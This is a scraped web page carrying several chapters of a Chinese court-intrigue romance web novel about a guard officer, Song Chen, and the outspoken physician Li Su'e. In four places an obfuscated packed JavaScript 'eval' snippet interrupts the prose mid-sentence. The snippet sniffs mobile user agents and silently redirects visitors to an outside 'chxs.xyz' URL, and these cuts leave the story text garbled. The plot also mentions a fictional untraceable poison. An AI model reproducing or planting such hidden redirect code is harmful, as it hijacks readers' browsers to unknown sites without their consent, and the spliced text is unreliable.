徐有凰主仆自然不知宋琛的挣扎,知道救不了他,欲要离去,只见车夫走了进来,对她们道:“大小姐,李家那位小姐刚刚往那边小路去了,只是满身狼狈,打扮得怪模怪样,若不是天天见她,差点认不出她来。” 徐有凰闻言会心一笑:“想来她又闯祸了,躲什么人吧,她那憋不住话的嘴,最是得罪人的。” 车夫和蓉儿相互对视一眼,同时道:“这个李小姐哪都好,就是心直口快,净说些大实话,戳人家心窝子。” 她们所提到的李小姐,乃是兵部尚书李成松家的二姑娘,闺名素娥,跟徐有凰七年的交情。 一个月前,李素娥在京郊救了姜侯爷之妻后,便大病一场,已经卧床多日,安分得令人心疼。 徐有凰作为好友,自然担忧不已,听到李素娥似乎又闯了祸,还有力气逃跑,知道她已经满血复活。 听到车夫和蓉儿的议论,徐有凰笑着摇摇头,看了宋琛和汪静一眼,略微沉思了一会后,抬脚走向宋琛,对车夫吩咐道:“也许他命不该绝,我给他先止血,你去把素娥引来。” 蓉儿面露不解,指着汪静道:“大小姐,我感觉那个少年伤得更重。” 徐有凰闭口不言,蹲在宋琛身前,打开随身携带的医疗箱,拿出一瓶盐水,小心翼翼地为他冲洗伤口,又洒上伤药后,才略带可惜地看了汪静一眼,“他伤及心脉,即便是素娥也救不了。” 说完,徐有凰将医疗箱放在宋琛身边,转身往林外走去。 蓉儿追着她问道:“大小姐,你不留下来,帮一帮李小姐么?” “素娥动作极快,我们根本插不上手。”徐有凰脚步不停,心中升起一股苦涩之意,暗自道:爹表面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730443|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只比李叔叔低半级,真正实力却与李家不是一个重量级的,我哪里能像李素娥活得肆意恣睢。何况以徐家的身份,在这暗流涌动的京师重地,不宜太过引人注目。 …… 宋琛从昏迷中醒来时,发觉眼前蒙了一层厚厚的纱布,看不见的感觉令他有种失控感,心底有些烦躁。抬手摸向眼前,还未触及纱布,一道冰凉湿滑之意从他手背上蔓延开来。 原来李素娥见宋琛醒来乱动,生怕他跟汪静一般,伤口崩裂复发,自己又要忙活一通,眼疾手快地按住了他的手,语气不耐地警告道:“你头上的伤很重,不要乱摸,否则容易留下后遗症。” 宋琛这才想起自己昏迷前的情景,哪里还不明白自己已经获救了,内心不由生出劫后余生之感,真诚地朝声音来处拱手致谢:“多谢姑娘出手相救,大恩大德,在下来日必有重报。” “不必客气。”李素娥为救他二人,入微之术使用过度,头嗡嗡作响,有气无力地摆摆手,像是想到了什么似的,补充道:“你的眼睛看不见,有事可以先给我讲。” 宋琛立刻意识到刚刚醒来的烦躁从何而来,他说怎么一点光也感受不到,还以为是纱布缠得太厚,原来竟是他失明了。 李素娥见他一副如遭重击的模样,怕他像汪静一样唠叨,言简意赅道:“不必担心,淤血化后,过两天就好了。” 宋琛明白李素娥比刚刚那对主仆医术高明,可听她声音年轻,似乎仅仅是个十六七岁的小姑娘,心中却不怎么相信她的安慰之语。 不过倒是可以去找周芍,他是天下第一神医,定然有办法救治他的眼睛,宋家是李家的大股东,可不能让他推诿小股东那般糊弄自己! 虽然想得乐观,但心中终究没底,宋琛勉强打起一丝精神继续向李素娥道谢,毕竟还要靠她送自己回宋家…… “宋百户,你心不诚啊,光嘴上道谢,姓名却半点不露,你又看不清大夫的模样,你今后要向谁报恩去?” 一道虚弱的声音伴随着剧烈地咳嗽,从不远处传来,宋琛立马反应过来这是死对头汪静的声音,面上虽不显,心中大感不可思议,自己明明亲手刺穿了汪静的胸口,他怎么可能还活着? 又想到刘吉和那对主仆之言,原来他们真的所言非虚,自己伤重难救,只是身边的小姑娘医术不凡,真的救回了他们。 或许小神医的并非安慰之语,而是实话实说。 思及此处,宋琛压抑的心情顿时一扫而空,几乎要仰天大笑,正想问问小神医是不是传闻中辽东徐氏女时,死对头汪静不怀好意的声音再次响起。 “大夫,你莫要看姓宋的个个人模狗样,可天下谁不知他们宋家是祖传的忘恩负义,此子名为宋琛,最得先祖之遗风,向来心狠手辣……” 宋琛神情锐利起来,知道汪静绝非好意放过自己,又只会出言挑拨,大概率是动弹不得,本不想当着小神医的面出手,没想到汪静这个蠢货自寻死路,只好成全他了。 29. 第二十九章 番外:宋琛(二) 天蒙蒙亮,宋琛顶着晨风朝露走在巍峨的皇城之中,转过几道高墙,来到了东宫守卫处应卯。 “宋百户……呃……”同样前来应卯的方小旗见到宋琛,正如往常般打招呼,可是话刚出口,便意识到不妥。 宋琛已经因和西厂火拼之事,降为了小旗。可他在锦衣卫中甚有威名,只是运道不佳,总在升职关头出些意外事故,一时之间也不知该如何唤他。 “方小旗,你我现在平级,像以往唤我宋小旗便是。”宋琛看出他的窘迫,不在意地摆摆手,指着赵旭疑惑地问道:“太子这是?” 不远处赵旭背着手,在演武场中,像一只青蛙般来回蹦跳。 方小旗一听就知道怎么回事,随意地扫了一眼,凑到宋琛身边,卖了个关子,不答反问:“宋小旗,前段时间圣上身体抱恙之事,你有所耳闻吧!” 宋琛因受伤之事,在家休养了一个月,消息有些滞后,不过圣上身体欠安之事流传已久,自然耳闻一二。 三个月前,圣上经常无缘无故流鼻血,身上冒出大片血淤,经太医令霍太医诊断为血亏之症,乃不治之症。 但圣上却不认命,直接将天下第一神医周芍从辽东召到京城。为了保险起见,升了李氏父子的官,还将李氏医馆总部迁入京城。 周芍在为圣上诊断之后,得出了“白血病”的诊断,也就是霍太医口中的血亏之症。他自言曾经见过一个偏方对白血病有效,只是药引有剧毒,需要大量临床实验进行剂量和效果验证。 大概有思路,圣上又提供实验所需的一切,短短一个月的时间,周芍真的验证了偏方的有效性,圣上的病情很快得到了控制,现在只需定时复诊罢了。 由于东仁医馆刚在京中落地,四处都需周芍掌眼,每日还要抽出一个时辰在里面坐诊。 圣上体谅他事务繁忙,经常微服亲自到东仁医馆复诊。 想到这里,宋琛再次不动声色地望向赵旭。 如今正值夏日时节,早上的气温也不低,赵旭运动许久,已经是汗流浃背,衣服上沁出了白花花的盐渍,可他依然在咬牙坚持。 宋琛知道赵旭被圣上和老师娇惯坏了,做事向来没有耐心,看着眼前的一幕,不禁对其刮目相看,暗忖:莫非太子在东仁医馆遭遇了什么? 方小旗顺着宋琛的目光也跟着看了眼赵旭,知道他已经猜出一二,不再卖关子,直接讲起了前因后果。 半个月前,赵旭不知怎的孝心大发,隔三差五陪着圣上去周芍那里复诊,去的次数多了,医馆的人虽然不知道他们父子的身份,但也和他二人熟悉起来,时常和他们开些玩笑。 刚好近来赵旭生了满脸红疙瘩,密密麻麻看着甚是可怖,大概有些发痒,他便伸手抓挠。 医馆中有个叫李素娥的女弟子径直阻止道:此乃痤疮,不要抓挠,特别是三角区,容易留下痘印不说,还有极小的概率造成生命危险。 赵旭身边的人见她说得严重,嘿嘿怪笑道:“小娘子少见多怪,莫要在这里危言耸听,少爷不过是长大了,前些日子刚成婚,过两天就好了。” 李素娥听后,满脸震惊地看向眼神躲闪的赵旭,三两步走到赵旭身前,仗着个子高,居高临下地打量打着他,“哎呀,小九,你才多大,就成婚了?看你虎头虎脑的样子,满十四岁么?” 赵旭的脸涨成猪肝色,垫脚挺胸,郑重其事道:“李娘子,我已经十五岁了。你大我不到两岁,可不要在我面前老气横秋,充大尾巴狼。” “谁老气横秋了,我心理年龄大你八九岁哩,何况十五也还是个孩子呢。”李素娥不在意地薅了赵旭后脑勺两把,目光转向圣上,神色严肃起来,不客气地警告道:“黄叔叔,小九年纪小,身体骨尚未长好,你莫要因为自己身体差,担心见不着孙子,揠苗助长误了他。” 宋琛听到这里,立刻想到了半年前的一件事。 有个妄人在快活楼拦着赵旭,给了他一句批命:虽富贵至极,但是个短命鬼,必死于风月二字,难过而立…… 妄人的话还未说完,就被赵旭身边的狗腿子一拥而上,揍了个结实后,五花大绑将其丢进了诏狱。 宋琛心底猜测:虽然箴言大多乃无稽之谈,但宁可信其有不可信其无,想来圣上担心自己这一脉后继无人,特意提早为张罗婚事,好让太子早日诞下太孙。说句难听的话,即便太子不幸早亡,太孙也有十多岁了,足以继承大统。 说起这个李素娥,早就听闻直言直语,果然名不虚传,家中好似有结亲之意…… 正当宋琛沉思之际,方小旗绘声绘色的声音拉回了他的思绪,“太子听那位李娘子说他个头矮,甚是不忿,立下誓言要洗刷耻辱。听说喝牛乳有助于长个子,一天三顿喝牛奶,喝得拉肚子,按李娘子的说法是乳糖不耐受。一计不成,太子又不知从哪里得知蛙跳可以长高,天天练习,坚持了快十天呢!” 宋琛不由挑眉,神色奇异地看向赵旭。 “我们在太子身边快八年了,也算看着他长大的,他哪有过这耐性。”方小旗朝着赵旭努了努嘴,挤眉弄眼道:“我看太子兴许是思春了。不过我看那个李娘子相貌平平,快言快语,处事算不得周全,也不知太子究竟看上她哪了……” “方小旗慎言。太子心性不定,一个月前还大张旗鼓地寻找他的良娣,短短一天,就抛之脑后了,如今也不过一时兴起罢了。” 宋琛面无表情地出言喝止,李素娥是自己的议亲对象,自然容不得方小旗非议。 方小旗吓了一跳,诧异地看了宋琛一眼,虽然宋琛面上不显,可凭着多年的交情,还是听出了他语气不悦。 两人正在悄悄讨论间,有两个同样身着飞鱼服的男人靠近了赵旭,赵旭见了那二人立刻眉开眼笑,欢快地迎了上去。 赵旭性格骄纵,惟我独尊,尤擅甩锅,唯一的优点便是对左右十分仗义,从不让身边之人背锅。 不过他防备心强,要成为他认可之人难得很。 宋琛自认与他好歹算得上师兄弟,可赵旭却与他不甚亲近,态度向来冷淡疏离。 现在倒是笑得灿烂。 “宋小旗,快看那两人,年长些的便是辽东李素基,听说李氏如今能有今日,他功不可没,比起姜侯爷不遑多让,堪称当世奇才。” 方小旗言语中对李素基十分推崇,兴奋地拍着宋琛的臂膀,“一个月前,太子在城门抓人时,他恰好当值,听说表现良好,不知怎的就入了太子的眼。前些日子他也进了锦衣卫,一进来就是锦衣卫千户……” 说到此处方小旗立刻住了嘴,满脸尴尬地看向宋琛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730444|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来宋琛提升锦衣卫千户是铁板钉钉之事,哪成想发生火拼事件,生生被撸成小旗,相当于降了两级。 说起来,李素基平步青云之日正是宋琛的倒霉日,不但丢了到手的千户,还差点双目失明…… 宋琛没有在意方小旗翻涌的情绪,心神落到了另一个青年的身上。 “他叫孙月骁,是李素基的妻弟,有辽东第一美男之称。”方小旗注意他的眼神,也将目光移动青年身上,虽然见过几面,今日再见依旧不得不感叹:端的好相貌,整个京中恐怕只有宋氏兄弟可以相媲美。 有意思的是,孙月骁的长相和宋氏兄弟是反着来的。 宋氏兄弟眉骨突出,深眼窝,鼻梁挺拔,棱角极为分明,但五官圆钝柔润,中和了轮廓的锋利硬朗,笑起来霁风朗月,不笑又深沉孤傲,笑和不笑完全两个样子,因此认识宋氏兄弟之人皆言:一种相貌,两种风情。 孙月骁面部轮廓柔和优美,却是凤眼薄唇,五官锋锐立体,斯文中带了些凌厉。 宋琛看着这个秀美多姿的青年,脑中突然闪过了老师陆誊的脸,不禁失笑摇头,怎将他二人想一块儿去了? 虽然都是一个类型的长相,老师至多称得上清秀,拍马也不及眼前的孙月骁。 “别看他极品小白脸模样,一副精明相,实际为人非常憨厚。”方小旗酸溜溜地补充道。 刚好孙月骁不知为何挠头傻笑起来,眯眼咧嘴的样子,宋琛莫名联想到了一种名为狍子的生物…… 大概宋琛和方小旗的眼神过于明显,李素基的目光如利剑般扫来,看清是宋琛后,眼中闪过一丝讶异,沿着二人方向缓步走来。 …… 东宫假山之后,两个黑衣男子正在说话。 “月骁,你得加把劲,不然我爹就会把素娥许给宋琛了。”李素基看着耸拉着脑袋的孙月骁,气不打一处来。 明明一副斯文败类的好模样,能骗多少好姑娘,可惜长在了这个憨货脸上。 他越想越气,恨其不争地擂了孙月骁胸口一拳。 孙月骁也不恼,理了理胸前的衣服,憨头憨脑地笑道:“大哥,我看了那位宋公子言谈举止比我强多了,听说人品也不赖,素娥嫁给他不亏。何况大哥也知道,我待素娥只有兄妹之情,我喜欢的是有凰。” “合着你孙月骁还看不上我们家素娥,是吧?” 李素基闻言,心中更是气闷:哼,宋琛幼时与我一起练武,我还能不了解他,假正经的冷面小子,腹黑狡诈不输他弟弟宋珩。论起来,宋珩还占个至情至性。 素娥一个直肠子,哪里是他的对手。 孙月骁无奈道:“大哥,强扭的瓜不甜。我感觉素娥妹妹对我也没有那个意思。虽然她老是喜欢盯着我看,可大多时候都在出神,就像透过我……” “够了孙月骁,你不喜欢素娥就罢了,何必找些乱七八糟的借口。”李素基厉色打断他的话,继而眼中升起一股轻蔑之色:“你喜欢有凰,她看得上你吗?” 孙月骁丧气道:“我知道有凰喜欢大哥,否则也不会二十岁还云英未嫁。” 待两人离开后,宋琛才慢慢地假山洞中钻出,玩味地回想着二人的对话。 原来儿时好大哥看不上自己,心目中的妹夫另有其人啊。 30. 第三十章 番外:宋琛(三) 宋琛随着赵旭陪同泰和帝复诊时,在东仁医馆里,第一次近距离地见到了李素娥的模样。 与其兄李素基生得有三分相像,但秀气得多,面色极为苍白,眼底带着些青黑之色,坐在精神抖擞的周芍身旁,满脸皆是掩饰不住的疲惫,似乎比传闻中累得脚不沾地的周芍还累。 恰巧此时,轮到了泰和帝的号,坐到李素娥的桌前,笑眯眯地正要开口,却被李素娥一阵抢白:“黄叔叔,怎么又是你,你前天不是才来过么?我已经说过你的情况很稳定,你看看外面那么多人,你这种行为属于挤兑医疗资源。” 宋琛诧异于她的大胆,正在猜想她到底知不知道眼前之人的身份。 泰和帝却丝毫不动怒,依旧笑眯眯地望着她,身边随从也显然一副见怪不怪的模样,个个像木头一样没个反应。 “连圣上都如此纵容她,这般有恃无恐,怪不得脾气大,也许今后要养个祖宗了。”宋琛眼底有一丝发苦,不过转念一想,李素娥确实如传闻中心直口快,平日尔虞我诈已经足够头疼,夫妻之间就不必猜来猜去了,和这样的女子过日子倒也简单舒心。 何况有本事的人总是有些脾气的。 他不由对比起一个月前先后两个女子的言行。先头那个女子固然言语温柔,可医术不精,救不了他。后头那个女孩一路上态度不耐,没半句好话,却妙手回春,将他从死亡线上拉了回来。 当时宋琛眼盲,救他一命的女孩也未曾留下姓名,收了他一块玉佩充做医资,就匆匆离去了。 他曾向在场之人打听过女孩的模样,只是大都表示那女子作男子装扮,脸上又乌漆抹黑的,除了身量颇高之外,实在没有旁的印象。 …… 后来只好去问老对头汪静,虽然差点将他置于死地,但说起来自己还算他的救命恩人。 那女孩为了阻止两人互下黑手,曾道汪静失血过多,即便她医术高明,若不是抽了宋琛的血供给他,依然回天乏术。他二人血型特殊,皆是百万里挑一的血型,今后说不定要依靠对方互相保命。 “我也不知道她是谁。”汪静正在卧床养伤,见宋琛一副挟恩图报的模样,不由地冷笑起来,一想到当时的情景,背后至今还有些发寒。 当时徐氏女离开后,他觉得身上越来越重,仿佛无数只手拉着他下坠,以为自己几乎沉到地底中去时,身子忽然变得飘飘然起来,接着轻而易举地站了起来,只是他回过头却猛然看见了自己的脸,正当他惶恐不已时,却遇见了毕生难忘的一幕。 一个十七八岁的女孩,飞似地冲了过来,手起刀落将他开膛破腹,一点点地剜出他身上的箭矢。箭矢脱离他身体时,一大股鲜血再次喷涌而出,女孩见了神色不变,穿针引线般将他的胸口缝上。 其实她的动作极快,但不知为何,汪静感觉时间变慢了一般,每个动作他都看得清清楚楚。 随着女孩的救治,汪静的感官变得时轻时重,女孩将他胸前背后缝好之后,一刻不停地撩开衣袖,从胳膊抽出一管又一管的鲜血注入他的身体。 来回注入五次鲜血之后,汪静明显感觉到有股力量在扯着他回到自己的身体。 与此同时,女孩的脸色变得越来越苍白,神色也开始扭曲,不受控制般地开始喃喃自语,那美得近乎妖异的脸顿时变得诡异可怖起来,汪静却心底却觉得十分可爱,在预感到自己要昏迷过去一般,用尽最后一丝力量,伸出透明的手,戳了戳挂在她侧脸的汗珠。 只是刚刚挨上,美貌惊人的脸倏忽变得平平无奇起来,成了另一张截然不同的脸。 女孩若有所觉地偏头,以为有虫子爬到脸上了,甩了甩头,站起身来,往宋琛身边走去。 “看在你我二人血型相同,可以说一说我所知道的,毕竟我也想找到她,好报答她的救命之恩。”汪静看了看死对头宋琛,姣好的面上露出一丝诡异,冷笑两声:“那日你也听出了,她说话有辽东的口音,想必出自辽东新医一脉。” 宋琛点头,那女孩声音似乎因受凉沙哑难听,可还能听出一股辽东味儿,年纪轻轻外科之术出神入化,也只有辽东新医一脉才找得出。 “我见过她的真面目,美若天仙,毫不逊色如今的姜夫人。”汪静笑得意味深长。 宋琛见他提起表妹林思苑,心中不悦,弟弟宋珩为她一蹶不振,父母十分忧虑。不过他近几个月倒是心思开朗许多,似乎走出了阴霾。 “听闻辽东徐家女医术高明,又相貌出色,也许……” 宋琛腾地起身,彻底听不下去了,他早就去东仁医馆偷偷看过徐氏女,一听声音就知道她是那个医术不精的跑路女子。 倒是周芍身旁骄纵的李素娥引起了他的注意,那不耐的语气,跟救他一命的女子如出一辙。 他心中怀疑,本想多观察一会儿,只是她十分敏锐,无论他躲在哪里,她总能机警地发现他的藏身之处,然后眉头微皱,不由分说直接差人将他请了出去。 …… 知道汪静嘴里没有实话,宋琛转头去找了太医院的霍良。 霍良与李素娥同门师兄妹五年,想来对李素娥有所了解,问他最合适不过。 “李素娥么?”霍良仿佛陷入沉思般,吟了一会儿后,才慢吞吞地给出了自己的评价:“脾气暴躁,说话很不中听,扎得人心疼,还有严重的面盲症,转头就把你忘得一干二净。虽然师承周芍,且有点天赋,可平日里不学无术,我猜她的医术……至今毫无长进。” 霍良说得一脸真诚,自认没有添油加醋,故意贬低李素娥。 李氏的产业,她基本都掺了一脚,分心太多,可不就是不学无术么?如果她肯一心扑在医道之上,医术定然比现在高明得多。 宋琛挑眉,霍良所透漏的信息,与外面流传的小道消息简直无甚区别。 “霍太医你好歹当了素娥妹妹五年的大师兄,对她的评价未免太刻薄了些。” “她…李家对我不仁,我对她怎会有好话?” 霍良乃周芍大徒弟,不知因何激怒了周芍,两人大吵一架后,自出新医一脉,辗转来到了京城太医院。 李氏痛恨霍良的背叛,以他行为不端为由,登报划清界限,公示吊销其新医的行医资格证。 “素娥妹妹?宋小旗叫得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730445|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是亲热。”像是想到什么,霍良深深地看了宋琛一眼,微翘的嘴角露出些意味深长,“说起来,你们两家渊源不浅。” 宋琛也不隐瞒:“不错,她就当年生在宋府,长到一岁多才跟随父母离开,小时候我还抱过她,一直叫她素娥妹妹。前不久李伯父有意和宋氏结亲,欲把素娥妹妹许配给我。” “李素基竟舍得将这颗摇钱树拱手让人?”正当宋琛以为白来一趟时,霍良微不可闻地感慨两句后,抬眸看向宋琛,一改之前的口风,郑重其事道:“她虽然脾气不好,可人不坏,反而心地极为善良,典型的刀子嘴豆腐心。她是个很好的女子,也是个很特别的女子,希望你好好待她,莫要辜负她。” 本来霍良还想再警告他几句。 他跟宋琛之所以算得上相熟,全因为宋琛时不时地拖着残破之躯求他诊治,一来二去,知道这是人狠话不多的强势角色,骨子里容不得悖逆,难得放下身段。 李素娥凡事清醒明白,兼性烈如火,跟宋琛也算针尖对麦芒,两人恐怕未必合得来。 其实霍良知道李素娥见多识广,天资聪颖,本性应当不是那种冲动多言之人。最开始她出现管不住嘴时,还会懊恼地掩饰一二,可随着入微之术用得频繁,加之李素基纵容,她也破罐子破摔,不再解释,嘴大扎心成了她的标志。 或许这就是使用入微之术的代价吧。 还有姜侯爷无师自通新学此种改天换地的力量,拥有了半个天下,却命运弄人,与所爱之人差了十年时光。当得知对方的存在时,一切早已面目全非,再无转圜之地。 求而不能,想来也是姜侯爷需要付的代价。 李素娥无法控制情绪,牌全摆在明面上,心底又过于柔软,遇上宋琛这么个狠人,定然要吃些苦头的。 可是想到李素基,霍良到嘴边的话又收了回来。 宋琛虽然心思深沉,手段狠厉,可比起李素基还是嫩了些。 李素基向来冷酷无情,是个六亲不认的狼人,利用李素娥时毫不含糊。可到底对这个便宜妹妹有几分真情的,除非早亡,想来舍不得让她受委屈的。 何况李氏的春眠也不是吃素的,那玩意儿可以悄无声息地溶于水中,杀虫除草极为厉害。一旦使用,田野万籁俱寂,因此取名“春眠”。 最妙的是,当生物活性丧失后,它便消失无踪,丝毫没有残留,仿佛根本不存在一般。若是用在人身上,只会以为那人心脏不适,猛然猝死罢了,让人查无可查。 起初春眠无色无味,李素娥怕人误食,闹出人命,才往里面添加了气味极大的辅料。 若是宋琛敢有别的心思,李素基不着痕迹地换个妹夫还是容易的。 听着霍良前后不一的评价,宋琛正要问个明白,霍良却送客赶人,最后怅然若失道:“有些事我不方便说,我只能告诉你,你要多一点耐心,你会发现她真的是个不错的姑娘。” 虽然没有得到确切答案,宋琛心里也有了些猜测,心情极好地吹了声口哨:医术止步不前,并不代表着医术差。 至于脾气,坏就坏吧,他对有本事的人向来宽容得多。 31. 第三十一章 番外:宋琛(四) 只是赵旭不依了,上前一步,目光不住地圣上和李素娥之间来回飘动,警惕地质问道:“李娘子你不是脸盲么,除了少数几个亲近之人,根本不记得别人,你如何认出我爹的?” 本来李素娥虽然不满泰和帝,还是耐着性子为他检查,心中有数后,伏在案头,手中的笔飞快地在一张纸上划动着,被赵旭猝不及防的质问一通,刚想说:“我当然认不出你爹,可放眼整个京城心脏长在右边的白血病人估计也就一个。” 话刚到嘴边,脚背传来一阵剧痛,原来是周芍暗中狠狠地踢了她一脚,面上却捋着胡子,指着李素娥身边的胭脂道:“小九您有所不知,素娥虽然有面盲之症,可胭脂有过目不忘之能,黄爷和您刚进门时,她就已经提醒过素娥了。” 李素娥身后的胭脂,向前两步,出现在众人视线中,无不眼中闪过一丝惊艳,虽年纪尚小,可眉目如画,活脱脱的美人胚子。 胭脂似乎并不适应众人的目光,面无表情的点点头,承认了周芍之言,又躲回了李素娥的身后,低着头,再也看不不清她的表情。 宋琛见周芍和胭脂一唱一和地演戏,心中嗤笑。 东仁医馆一次放十个号进来排队,跟泰和帝一批次的号,皆是锦衣卫乔装打扮。 可此地毕竟不是宫里,还有众多医师学徒挤在旁边观摩学习,宋琛怕有歹人混杂其中,一进医馆,就观察着周边之人的动态。他早就注意到躲在李素娥身后的胭脂,别人见了泰和帝,除了李素娥之外,眼底只有兴奋和敬畏。而这个十二岁的小丫头却如临大敌般,目光一刻也不曾从泰和帝身上移开过,压根就没有和李素娥说过半句话。 而赵旭清楚胭脂过目不忘的本事,信了周芍和胭脂两人的双簧,方善罢甘休。 在场之人见了眼前的一出,神色怪异,虽然早就看明白赵旭的心思,但李素娥显然对他毫无意思,甚至连他的模样都没记住过,见他剃头挑子一头热,心底不免好笑。 众人又知他性格暴烈,惹恼他定然吃不了兜着走,一个个想笑又不敢笑,皆咬牙切齿,一张张脸憋得通红。 赵旭何等敏锐之人,如何猜不出他们心中的想法,正要嘴硬辩解,余光却瞥到李素娥若有所思地和亲爹对视,熄灭的怒火又“噌”地燃起,一脚踹在桌腿上,声音猛然拔高:“你们瞎想什么,我是担心有人眼皮子浅,想攀高枝!” 众人吓了一跳,面面相觑,暗自庆幸刚刚忍住没有发笑,否则又要倒大霉了。 这时泰和帝却哈哈大笑起来,看了赵旭一眼,眼底带了些复杂之意,对着李素娥没头没尾道:“李娘子,黄叔叔我平日里事务繁忙,也不想经常往你这里跑,只是当爹的再心狠,也要替儿子做些什么的。” 宋琛闻言,看了看泰和帝,又瞥了眼赵旭,他早已收了全身的暴戾之气,眼底露出小姑娘般的羞涩之意,只是脸上的红疙瘩越发的鲜艳,远远看去,活像一只红色的癞蛤蟆。 李素娥一把将笔丢在桌上,站起身来,看了赵旭父子一眼,眉间隐隐升起一股烦躁之意。 周芍暗叫不妙,李素娥和姜侯爷来历奇特,且渊源匪浅。 她早就不满泰和帝联合李氏打压姜氏的行为,她无法将气撒在李氏头上,却对泰和帝的忘恩负义充满了偏见。 怪不得泰和帝最初不敢以真实身份见她,只是自称是个扬州土豪,像普通病患一般,请李素娥为他诊治,待病情稳定之后,才微微露出些端倪。 否则李素娥得知身份,以她的性子定然出工不出力…… 周芍知道现在李素娥大概已经猜出赵旭父子的身份,正在极力压抑自己的怒火,可看她的样子,显然有失控的苗头,就要压不住火气了,心中警铃大起,正要将她好好安抚,以防她祸从口出。 李素娥却似乎察觉到什么,往大门方向扫了一眼,神色竟罕见地变得平和起来,对着身边的胭脂吩咐了几句,待胭脂离去后,才转过头对着赵旭道:“你大可放心,我对令尊大人没什么兴趣,我只喜欢二十出头的英俊小伙,太小或太老,都不是我的菜。” 宋琛知道她在拒绝泰和帝为赵旭求亲之意,还顺便从源头上,杜绝了赵旭的心思。 且不说年龄,他怎么看也与英俊不搭边啊。 只是李素娥的话未免太直接了些,明摆着说赵旭父子,一个老,一个丑,她全都看不上。 泰和帝脸色不变,还是笑得如同弥勒佛一般。可赵旭生来只有别人奉承他的份儿,从未有人多次落他面子,不过他也明白李素娥就是这般性子,虽然极力按捺火气,还是恼怒起来,不服气道:“李娘子生得还不如我呢,为何一心想找个小白脸?” “正是因为吃过相貌普通的苦头,希望儿孙可以长得好看点嘛,不用再吃像我一样的苦头——” 李素娥倒是不恼,自我调侃,只是她尚未说完,便被打断了,一直冷眼旁观的李素基终于挺身而出,欠身道:“黄叔叔,当年我娘生李素娥生得艰难,她在我娘肚子里憋久了,落下了些毛病,脑子时常抽风,说话素来不得体,请您莫要与她计较。” 众人听到后,皆是忍俊不禁,看了看正翻着白眼的李素娥,心道:“观其平日里的言行举止,胆大包天,脑子确实像被夹过一般。” “无妨,无妨,素基就是太多虑了,你妹妹博学多才,为人耿直,对人又毫不设防,我是发自内心喜欢她的性子。若是小九身边有素娥这样的女子,想来他的人生要快活得多。”泰和帝笑呵呵地对李素基摆摆手,目光落到李素娥脸上,遗憾道:“只可惜小儿终究没有那样的福分,既然如此,李娘子可有看中的英俊小伙?黄叔叔可以替你保个媒。” “不劳您费心,我要当自梳——”李素娥抢先开口,李素基一把捂住她的嘴,神色自若道:“多谢黄叔叔美意,近日家里为她寻了门亲事,正在商讨中,想来过几日,就有眉目了。” “哟,哪家小子福气这般好?”泰和帝不以为忤,反而饶有兴致地问道。 李素基瞟了一眼孙月骁,暗示他自己站出来。 孙月骁心底苦笑,知道自己又要出来当挡箭牌了,向前迈出一步,双手从额前往后抹了一把,正要咬牙抗下。 不料有人先一步从人群中跃出,来到泰和帝面前,素来冷酷的面上,罕见地带了一丝羞涩笑意,躬身抱拳道:“老爷,家父正在与李伯伯商议宋李两家的亲事,有意要将素娥妹妹嫁于小子为妻。” 场中之人仿佛定格了一般,特别是方小旗大张着嘴,面上痴痴地望着宋琛,余光却悄悄瞟向赵旭,果然他已因嫉妒而面目全非。 趁着李素基不察,李素娥一把扯开他的手,来到宋琛面前,神色困惑,不知他为何会如此做。 宋琛见到她探究的目光,又想到那短暂的相处,一向冷硬的心头微微发热,手心也隐隐有汗冒出,他也不知为何一时头脑发热站了出来,心中却也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李素基等人神色各异地点头致意。 宋琛看了一眼自己的弟弟,神色不辨喜怒道:“阿珩,你怎么到这里了?” “大哥,我近来腿老是抽筋,疼得厉害,想请周神医看看。”宋珩指了指自己的腿,无奈苦笑。 李素娥听了此话,越过宋琛,走到他跟前,低头观察了两眼,语气轻松道:“别担心,你只是在长个子罢了,恭喜你了,个头还能窜一窜。” 宋珩目露惊愕,“我都快二十二了,还长个子?” 周芍化身科普大师,摇头晃脑道:“正常的,只要骨线没闭合都会长。大多人十八之前就已经闭合了,个别人会持续到二十五岁之久。” 这时赵旭突然在一旁,执拗地看向李素娥:“我近来也老是腿抽筋。” 李素娥瞄了眼赵旭,明白他的心思,顿感头大。 当初何必自讨苦吃,就该见死不救才对! “小男孩就该喜欢漂亮小丫头,改善一下基因方位上道,揪着大姐姐不放,成何体统……”周芍见状心底暗骂,面上却扯出一个笑容,上前打圆场:“恭喜小九了,长高指日可待。” 